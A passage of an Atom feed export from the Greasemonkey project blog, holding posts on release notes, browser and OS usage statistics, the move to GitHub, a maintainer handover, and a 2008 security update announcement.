title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-3673784712094989046?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/3673784712094989046/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=3673784712094989046' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3673784712094989046'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3673784712094989046'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2009/11/greasemonkey-api-usage.html' title='Greasemonkey API Usage'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_FMU0brKUGn0/Sw2snZejPgI/AAAAAAAAAVk/wiBGp9mu5gI/s72-c/greasemonkey_api_usage.png' height='72' width='72'/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-293616662094554954</id><published>2009-09-26T05:43:00.000-07:00</published><updated>2009-10-20T13:03:47.644-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey "0.8.2" Released</title><content type='html'>The latest version of Greasemonkey, "0.8.2" (full version: 0.8.20090920.2) has been uploaded to &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/748/"&gt;AMO&lt;/a&gt;.  It includes the following changes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Do not inject scripts into &lt;tt&gt;file:&lt;/tt&gt; and &lt;tt&gt;about:&lt;/tt&gt; URLs by default, for security reasons. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1000"&gt;#1000&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;The &lt;tt&gt;GM_openInTab()&lt;/tt&gt; function respects the background loading tab behavior from Firefox preferences. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1003"&gt;#1003&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Specify label/control associations in "New Script" dialog, for accessibility. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1010"&gt;#1010&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Minor code clean ups and improvements. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1011"&gt;#1011&lt;/a&gt;, &lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1020"&gt;#1020&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Remove "forced" upgrade code. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1013"&gt;#1013&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Remove extra spacing around the status bar icon. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1014"&gt;#1014&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;When adding include/exclude rules, include the port number in the default suggestion. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1015"&gt;#1015&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Reduce noise logged to the console when interacting with Firebug. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1018"&gt;#1018&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Apply security checks to &lt;tt&gt;GM_listValues()&lt;/tt&gt; and &lt;tt&gt;GM_deleteValue()&lt;/tt&gt;. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1019"&gt;#1019&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Fix missing localized strings in various locales. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1022"&gt;#1022&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Grease pages loaded into the sidebar. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1023"&gt;#1023&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Allow user scripts to access the latest available JavaScript engine. (&lt;a href="http://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1026"&gt;#1026&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;This is the same file &lt;a href="http://groups.google.com/group/greasemonkey-users/browse_thread/thread/ce38ffff18e60e5d%27"&gt;posted as RC2 about a week ago&lt;/a&gt; to the -users mailing list.  As the version number (and the release notes) indicate, this is a maintenance release, fixing bugs and adding minor features to the previous release.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-293616662094554954?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/293616662094554954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=293616662094554954' title='37 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/293616662094554954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/293616662094554954'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2009/09/greasemonkey-082-released.html' title='Greasemonkey &quot;0.8.2&quot; Released'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>37</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-5157056536213168635</id><published>2009-09-18T13:04:00.000-07:00</published><updated>2009-09-18T13:24:26.472-07:00</updated><title type='text'>Who Uses Greasemonkey, Part 2</title><content type='html'>I'd like to follow up my earlier post, analyzing which browsers Greasemonkey is used in.  This time, a view on the operating systems where Greasemonkey is used.  This is generally less interesting information -- it closely mirrors the market share of the OSes.  But it's one more bit of detail we can derive from the AMO stats.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_FMU0brKUGn0/SrPoWSOvMsI/AAAAAAAAAOU/U3vEjOz2g5A/s1600-h/hist.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 198px;" src="http://2.bp.blogspot.com/_FMU0brKUGn0/SrPoWSOvMsI/AAAAAAAAAOU/U3vEjOz2g5A/s400/hist.png" alt="" id="BLOGGER_PHOTO_ID_5382901449186292418" border="0" /&gt;&lt;/a&gt;This graph probably isn't very surprising.  It shows that Mac has become more popular in the last year.  Some detail on the last four weeks:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_FMU0brKUGn0/SrPordzNMbI/AAAAAAAAAOc/ZOFlcZnSb_Q/s1600-h/recent.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 309px;" src="http://4.bp.blogspot.com/_FMU0brKUGn0/SrPordzNMbI/AAAAAAAAAOc/ZOFlcZnSb_Q/s400/recent.png" alt="" id="BLOGGER_PHOTO_ID_5382901813069296050" border="0" /&gt;&lt;/a&gt;Another view on the same detail.  The exact underlying numbers involved:&lt;br /&gt;&lt;br /&gt;&lt;table align="center" border="1" width="300"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;OS&lt;/th&gt;&lt;th&gt;Users&lt;/th&gt;&lt;th&gt;Percent&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Windows&lt;/td&gt;&lt;td&gt;2531829&lt;/td&gt;&lt;td&gt;91.50%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Mac&lt;/td&gt;&lt;td&gt;164282&lt;/td&gt;&lt;td&gt;5.94%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Linux&lt;/td&gt;&lt;td&gt;69186&lt;/td&gt;&lt;td&gt;2.50%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Other&lt;/td&gt;&lt;td&gt;1690&lt;/td&gt;&lt;td&gt;0.06%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Like I said at the beginning, generally the breakdown of the operating systems in general.  Even so, the eight or nine percent of users on Mac or Linux make up nearly a quarter of a million users.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;Like before, the numbers and charts are &lt;a href="http://spreadsheets.google.com/ccc?key=0AnbPKNXgZu0-dGlyWjhGYWNabk1wR3M0VnJuYWhOM3c&amp;amp;hl=en"&gt;visible on Google Docs&lt;/a&gt;.  No script this time, the work was easy enough to do by hand.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-5157056536213168635?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/5157056536213168635/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=5157056536213168635' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5157056536213168635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5157056536213168635'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2009/09/who-uses-greasemonkey-part-2.html' title='Who Uses Greasemonkey, Part 2'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_FMU0brKUGn0/SrPoWSOvMsI/AAAAAAAAAOU/U3vEjOz2g5A/s72-c/hist.png' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-5654295064619805502</id><published>2009-09-05T14:26:00.001-07:00</published><updated>2009-09-05T15:05:15.185-07:00</updated><title type='text'>Who Uses Greasemonkey?</title><content type='html'>As Johan and I begin to take over development of Greasemonkey, one of the important questions we need to answer is: which platforms should we support?  We can inform this decision with some of the usage statistics that Mozilla Add-Ons gathers.&lt;br /&gt;&lt;br /&gt;The &lt;a href="https://addons.mozilla.org/en-US/statistics/addon/748"&gt;statistics page for Greasemonkey&lt;/a&gt; is visible to everyone.  The raw data is even available for download.  But it can be hard to read, due to the level of detail and formatting that is applied.  So, I've taken the time to analyze it carefully.  The first interesting thing that we can see is the usage trends over time:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_FMU0brKUGn0/SqLa2_jURoI/AAAAAAAAAN8/jg9le117fqE/s1600-h/gm-usage-historical.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_FMU0brKUGn0/SqLa2_jURoI/AAAAAAAAAN8/jg9le117fqE/s400/gm-usage-historical.png" alt="" id="BLOGGER_PHOTO_ID_5378101543341147778" border="0" /&gt;&lt;/a&gt;(Looks like Mozilla had a reporting issue around May of 2009.)&lt;br /&gt;&lt;br /&gt;I've also made a pie-graph of app usage, for the average values of the past 4 weeks:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_FMU0brKUGn0/SqLeWqAkF4I/AAAAAAAAAOM/1jDMgNQqeDk/s1600-h/gm-usage-app.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_FMU0brKUGn0/SqLeWqAkF4I/AAAAAAAAAOM/1jDMgNQqeDk/s400/gm-usage-app.png" alt="" id="BLOGGER_PHOTO_ID_5378105385848936322" border="0" /&gt;&lt;/a&gt;That pie chart represents these numbers:&lt;br /&gt;&lt;br /&gt;&lt;table align="center" border="1" width="300"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;App&lt;/th&gt;&lt;th&gt;Users&lt;/th&gt;&lt;th&gt;Percent&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Firefox/&lt;=1.0&lt;/td&gt;&lt;td&gt;598&lt;/td&gt;&lt;td&gt;0.02%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Firefox/1.5&lt;/td&gt;&lt;td&gt;5502&lt;/td&gt;&lt;td&gt;0.21%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Firefox/2.0&lt;/td&gt;&lt;td&gt;113921&lt;/td&gt;&lt;td&gt;4.31%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Firefox/3.0&lt;/td&gt;&lt;td&gt;1470584&lt;/td&gt;&lt;td&gt;55.70%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Firefox/&gt;=3.5&lt;/td&gt;&lt;td&gt;1049092&lt;/td&gt;&lt;td&gt;39.74%&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Other&lt;/td&gt;&lt;td&gt;446&lt;/td&gt;&lt;td&gt;0.02%&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;So, let's say &lt;span style="font-style: italic;"&gt;first off&lt;/span&gt;: we know this is a bad measurement.  There's (almost) no "other" because there's no official support for other platforms, so only third party alterations make this usage possible. Thus, this data doesn't help us answer (i.e.) "Should we support Flock?" or "Should we support SongBird?".&lt;br /&gt;&lt;br /&gt;It does let us know a little bit about what versions of Firefox we should support.  All of 1.0 and 1.5 make up only 0.23% of the user base.  Firefox 3.0 and 3.5 make up 95.44% of the user base.  Firefox 2, however, makes up 4.31% of the user base.  That's a much harder call.&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;Hackers: The raw data and charts behind this post &lt;a href="http://spreadsheets.google.com/ccc?key=0AnbPKNXgZu0-dEdQc1ViY3VaYVhtVElsZGJxSUpOV1E&amp;amp;hl=en"&gt;is available on Google Docs&lt;/a&gt;.  You can also see &lt;a href="http://gist.github.com/181519"&gt;the python script&lt;/a&gt; that turned AMO's raw data into this presentation.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-5654295064619805502?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/5654295064619805502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=5654295064619805502' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5654295064619805502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5654295064619805502'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2009/09/who-uses-greasemonkey.html' title='Who Uses Greasemonkey?'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_FMU0brKUGn0/SqLa2_jURoI/AAAAAAAAAN8/jg9le117fqE/s72-c/gm-usage-historical.png' height='72' width='72'/><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-8558720937481984207</id><published>2009-08-26T13:46:00.000-07:00</published><updated>2010-05-15T06:24:39.395-07:00</updated><title type='text'>Greasemonkey Lives At GitHub</title><content type='html'>Months ago, the people running DevjaVu let us know that they were &lt;a href="http://devjavu.wordpress.com/2009/05/01/devjavu-will-be-shutting-down/"&gt;shutting the service down&lt;/a&gt;.  It's unfortunate, but they cannot be faulted.  They're still running now, but there's no saying how long that will remain for.  &lt;span style="font-style: italic;"&gt;As of today, the ability to change tickets (both creating and commenting, for all but pre-existing project members) has been revoked.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Greasemonkey now lives at GitHub, both for &lt;a href="http://github.com/greasemonkey/greasemonkey/tree/"&gt;source code&lt;/a&gt; hosting, and &lt;a href="http://github.com/greasemonkey/greasemonkey/issues"&gt;issue tracking&lt;/a&gt;.    We expect that the distributed nature of git should allow freer forking and branching, and easier collaboration with anyone; rather than the limited set of people who were granted SVN commit access, in earlier days.&lt;br /&gt;&lt;br /&gt;If you notice any existing links outside of DevjaVu pointing into it, please let us know at the &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; mailing list.  If you see someone suggesting the DevjaVu site, please correct them and let everyone involved know that GitHub is now the official code and issue host for Greasemonkey.&lt;br /&gt;&lt;br /&gt;Thanks, and if you want to contribute, send those pull requests!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-8558720937481984207?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/8558720937481984207/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=8558720937481984207' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/8558720937481984207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/8558720937481984207'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2009/08/greasemonkey-lives-at-github.html' title='Greasemonkey Lives At GitHub'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-5612936491950320241</id><published>2009-08-23T10:45:00.000-07:00</published><updated>2009-08-24T12:26:40.713-07:00</updated><title type='text'>Outie</title><content type='html'>[This is a repost of a message I also sent to greasemonkey-dev]&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;It's been a long time since I've been working on Greasemonkey actively. During the time I was away Johan Sundström and Anthony Lieuallen picked up the slack and did the last few releases without my help.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So I've decided to officially hand over the reins to them. What this means practically is that they will be the ones accepting patches, doing releases, and tending the bugs. I also hope that this change will reinvigorate the project, as it has been moving slowly for some time.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'll still be lurking of course, but Johan and Anthony will be responsible for day-to-day administration now. I know they'll do a great job.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-5612936491950320241?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/5612936491950320241/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=5612936491950320241' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5612936491950320241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5612936491950320241'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2009/08/outie.html' title='Outie'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-2153725618927216873</id><published>2009-01-05T12:13:00.000-08:00</published><updated>2009-10-20T13:03:59.736-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey Release 0.8.20090123.1</title><content type='html'>In preparation for Firefox 3.1, we're releasing a new version of Greasemonkey, marked as compatible with Firefox 3.1b2, along with additional changes and fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Added translations: ar-SA, bn-IN, hu-HU, id-ID, ro-RO, sr-RS, vi-VN.&lt;/li&gt;&lt;li&gt;Fix for ticket &lt;a href="http://greasemonkey.devjavu.com/ticket/111"&gt;#111&lt;/a&gt; (anomalous separators in the monkey menu).&lt;/li&gt;&lt;li&gt;Add GM_deleteValue() and GM_listValues() APIs (&lt;a href="http://greasemonkey.devjavu.com/ticket/38"&gt;#38&lt;/a&gt;).&lt;/li&gt;&lt;li&gt;Restore the anonymous function wrapper around scripts, and thus the same behavior as versions prior to 0.8 (by default, removable with the @unwrap metadata imperative, &lt;a href="http://greasemonkey.devjavu.com/ticket/108"&gt;#108&lt;/a&gt;).&lt;/li&gt;&lt;li&gt;Improved interaction with the Firebug console (&lt;a href="http://greasemonkey.devjavu.com/ticket/122"&gt;#122&lt;/a&gt;, &lt;a href="http://greasemonkey.devjavu.com/ticket/204"&gt;#204&lt;/a&gt;).&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-2153725618927216873?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/2153725618927216873/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=2153725618927216873' title='88 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/2153725618927216873'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/2153725618927216873'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2009/01/greasemonkey-release-08200901231.html' title='Greasemonkey Release 0.8.20090123.1'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>88</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-3127055068776663836</id><published>2008-06-12T09:38:00.000-07:00</published><updated>2009-10-20T13:04:10.152-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey Version 0.8</title><content type='html'>At long last, the new version of Greasemonkey is available.  Get &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/748"&gt;Greasemonkey 0.8.0 from addons.mozilla.org&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The most important change for this release is full compatibility with Firefox 3.0.  There is also a new feature that allows modularization of user scripts that comes in four pieces: &lt;a href="http://wiki.greasespot.net/Metadata_block#.40resource"&gt;@resource&lt;/a&gt;, &lt;a href="http://wiki.greasespot.net/Metadata_block#.40require"&gt;@require&lt;/a&gt;, &lt;a href="http://wiki.greasespot.net/GM_getResourceURL"&gt;GM_getResourceURL&lt;/a&gt;, and &lt;a href="http://wiki.greasespot.net/GM_getResourceText"&gt;GM_getResourceText&lt;/a&gt;.  Follow those links to learn how they work.  Also:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;GM_xmlhttpRequest now includes the &lt;a href="http://wiki.greasespot.net/GM_xmlhttpRequest#finalUrl"&gt;finalUrl&lt;/a&gt; property.&lt;/li&gt;&lt;li&gt;Internal code quality improvements&lt;/li&gt;&lt;li&gt;New attractive graphics by Pak-Kei Mak&lt;/li&gt;&lt;/ul&gt;Finally, there is a set of &lt;a href="http://greasemonkey.devjavu.com/query?status=new&amp;amp;status=assigned&amp;amp;status=reopened&amp;amp;milestone=0.8.1&amp;amp;order=priority"&gt;reported issues&lt;/a&gt; that are yet to be resolved.  Version 0.8.1 is planned, but we feel 0.8.0 is a strong enough improvement to be worth releasing, for Firefox 3.0 compatibility.  Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-3127055068776663836?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/3127055068776663836/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=3127055068776663836' title='113 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3127055068776663836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/3127055068776663836'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2008/06/greasemonkey-version-08.html' title='Greasemonkey Version 0.8'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>113</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-8135663711190552522</id><published>2008-01-21T12:51:00.000-08:00</published><updated>2008-01-21T13:03:56.237-08:00</updated><title type='text'>Greasemonkey Security Update</title><content type='html'>I've just posted an update to Greasemonkey that fixes a recent publicly disclosed security issue. Please upgrade to the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/748"&gt;latest version&lt;/a&gt; as soon as possible.&lt;br /&gt;&lt;br /&gt;Note that this update might affect compatibility for a small number of scripts. Script authors should see the Greasemonkey wiki for &lt;a href="http://wiki.greasespot.net/0.7.20080121.0_compatibility"&gt;details and workarounds&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I have also enabled support for Firefox 3 Beta in this build for those who have been asking about that.&lt;br /&gt;&lt;br /&gt;Thanks, and sorry for any inconvenience. For help or questions about Greasemonkey, join the &lt;a href="http://groups.google.com/group/greasemonkey-users"&gt;greasemonkey-users&lt;/a&gt; mailing list.&lt;br /&gt;&lt;br /&gt;To report security issues, please mail the details to &lt;a href="mailto:greasemonkey-admins@googlegroups.com"&gt;greasemonkey-admins@googlegroups.com&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-8135663711190552522?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/8135663711190552522/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=8135663711190552522' title='133 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/8135663711190552522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/8135663711190552522'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2008/01/greasemonkey-security-update.html' title='Greasemonkey Security Update'/><author><name>boots</name><uri>http://www.blogger.com/profile/03885281513124696960</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://farm1.static.flickr.com/46/183719869_55f8ff0dfc.jpg?v=0'/></author><thr:total>133</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-1553460708795043597</id><published>2007-05-24T10:54:00.000-07:00</published><updated>2007-05-24T12:57:20.338-07:00</updated><title type='text'>Greasemonkey 0.7 Candidate</title><content type='html'>Hello all,&lt;br /&gt;&lt;br /&gt;Since there were some pretty major problems with the last release that caused significant grief, I've rethought how releases will work. Going forward, we will:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Do candidate releases to &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; and &lt;a href="http://groups.google.com/group/greasemonkey-users"&gt;greasemonkey-users&lt;/a&gt;. Before, we just sent candidates to greasemonkey-dev. If you are interested in cutting edge builds and don't mind getting a little messy in the process, subscribe to one of these lists. This will get more eyes on finding regressions early.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Once the candidate is vetted on the mailing lists, we will do a candidate release on this blog.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Only once the candidate is vetted on the mailing lists and the blog will we do an autoudpate.&lt;/li&gt;&lt;/ul&gt;This release is the first to follow the new process. Please add a comment to this post with any bugs you find. If there are serious regressions I will do a new release here before autoupdating.&lt;br /&gt;&lt;br /&gt;There are no new features other than bug fixes for the previous release. In particular:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Fixed the bug where you can't install scripts if you have never disabled Greasemonkey.&lt;/li&gt;&lt;li&gt;Fixed the bug where drag and drop in the manage dialog only 